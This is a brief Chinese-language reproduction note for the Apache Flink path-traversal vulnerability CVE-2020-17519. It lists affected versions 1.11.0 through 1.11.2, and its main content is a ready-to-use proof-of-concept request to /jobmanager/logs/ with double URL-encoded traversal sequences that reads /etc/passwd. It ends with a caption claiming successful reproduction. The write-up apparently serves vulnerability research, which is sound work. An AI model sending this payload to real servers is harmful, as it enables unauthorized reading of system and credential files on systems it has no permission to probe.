Apache Flink漏洞（CVE-2020-17519）复现

漏洞影响
1.11.0
1.11.1
1.11.2
漏洞复现
poc:
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
复现成功截图